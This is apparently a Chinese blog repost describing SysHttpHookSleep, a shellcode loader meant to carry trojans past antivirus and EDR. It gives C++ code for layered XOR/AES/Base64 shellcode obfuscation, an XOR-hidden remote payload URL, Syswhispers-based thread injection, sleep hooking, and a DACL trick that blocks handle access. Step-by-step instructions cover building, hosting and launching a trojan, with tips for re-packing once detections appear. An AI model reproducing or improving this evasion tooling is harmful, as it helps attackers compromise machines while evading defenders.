Wangfly SafeTime 2023-06-20 18:16 发表于上海
SysHttpHookSleep
[color=rgba(0, 0, 0, 0.9)]https://github.com/wangfly-me/SysHttpHookSleep
代码来源[color=rgba(0, 0, 0, 0.9)]集合多种方式的ShellcodeLoader,主要代码来自: [color=rgba(0, 0, 0, 0.9)]https://github.com/mgeeky/ShellcodeFluctuation [color=rgba(0, 0, 0, 0.9)]https://github.com/TheD1rkMtr/BlockOpenHandle 主要功能[color=rgba(0, 0, 0, 0.9)]Shellcode:异或xor加密+Base64编码+AES加密+Base64编码+字符串反转。
[color=rgba(0, 0, 0, 0.9)]加载方式:URL加密+远程加载+Syswhispers上线。
[color=rgba(0, 0, 0, 0.9)]内存规避:HOOK Sleep函数+内存xor加密+System权限打开句柄。
[color=rgba(0, 0, 0, 0.9)]反虚拟机:注册表+文件+进程+内存。 原理浅析[color=rgba(0, 0, 0, 0.9)]Shellcode加密,采取异或xor加密+Base64编码+AES加密+Base64编码+字符串反转。 异或xor加密[color=rgba(0, 0, 0, 0.9)]可改进,动态key生成 - const char* xx = rest2_decoded.c_str();
- std::vector<uint8_t> sc;
- for (int j = 0; j < rest2_decoded.length(); j++)
- {
- sc.push_back(xx[j] ^ XK2 ^ XK1);
- }
复制代码
字符反转
- reverse(rest2_reference.begin(), rest2_reference.end());
复制代码 URL加密[color=rgba(0, 0, 0, 0.9)]主要是避免静态特征,加密解密程序如下: - int key[] = { 1,2,3,4,5,6,7 };
- void encryption(string& c, int key[]) {
- int len = c.size();
- for (int i = 0; i < len; i++) {
- c[i] = c[i] ^ key[i % 7];
- }
- }
- void decode(string& c, int key[]) {
- int len = c.size();
- for (int i = 0; i < len; i++) {
- c[i] = c[i] ^ key[i % 7];
- }
- }
复制代码[color=rgba(0, 0, 0, 0.9)]
远程线程注入[color=rgba(0, 0, 0, 0.9)]Syswhispers生成远程线程注入函数,代码如下(可改进,Unhook每个敏感函数,去掉EDR钩子): - bool iS(std::vector<uint8_t>& shellcode, HandlePtr& thread)
- {
- HANDLE hHostThread = INVALID_HANDLE_VALUE;
- auto alloc = VirtualAlloc(NULL, shellcode.size() + 1, MEM_COMMIT, PAGE_READWRITE);
- memcpy(alloc, shellcode.data(), shellcode.size());
- DWORD old;
- VirtualProtect(alloc, shellcode.size() + 1, Shellcode_Memory_Protection, &old);
- shellcode.clear();
- SIZE_T sDataSize = shellcode.size();
- NtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)alloc, NULL, FALSE, NULL, NULL, NULL, NULL);
- NtWaitForMultipleObjects(1, &hHostThread, WaitAll, FALSE, NULL);
- NtFreeVirtualMemory((HANDLE)-1, &alloc, &sDataSize, MEM_RELEASE);
- return 0;
- }
复制代码
内存规避[color=rgba(0, 0, 0, 0.9)]https://www.freebuf.com/articles/system/361161.html System权限打开句柄
- void Set()
- {
- LPCWSTR sddl = L"D:P"
- L"(D;OICI;GA;;;WD)"
- L"(A;OICI;GA;;;SY)"
- L"(A;OICI;GA;;;OW)";
- PSECURITY_DESCRIPTOR securityDescriptor = nullptr;
- if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(sddl, SDDL_REVISION_1, &securityDescriptor, nullptr))
- {
- return;
- }
- if (!SetKernelObjectSecurity(GetCurrentProcess(), DACL_SECURITY_INFORMATION, securityDescriptor))
- {
- return;
- }
- LocalFree(securityDescriptor);
- }
复制代码
操作步骤加密编码工具在release中下载。 先生成stagerless的raw木马,按顺序分别使用enc.py、AES_Shellcode.exe、rev.py生成b.txt文件,并将其部署在服务器端。
其次将URL使用URL_XOR.exe进行加密,并分成两段填入str1和str2参数中。
最后生成exe,运行上线。 免杀效果由于在项目中已经投入使用一段时间,可能有些已经不免杀,可以尝试VMP加壳,或者修改代码二次开发,来规避杀软。
|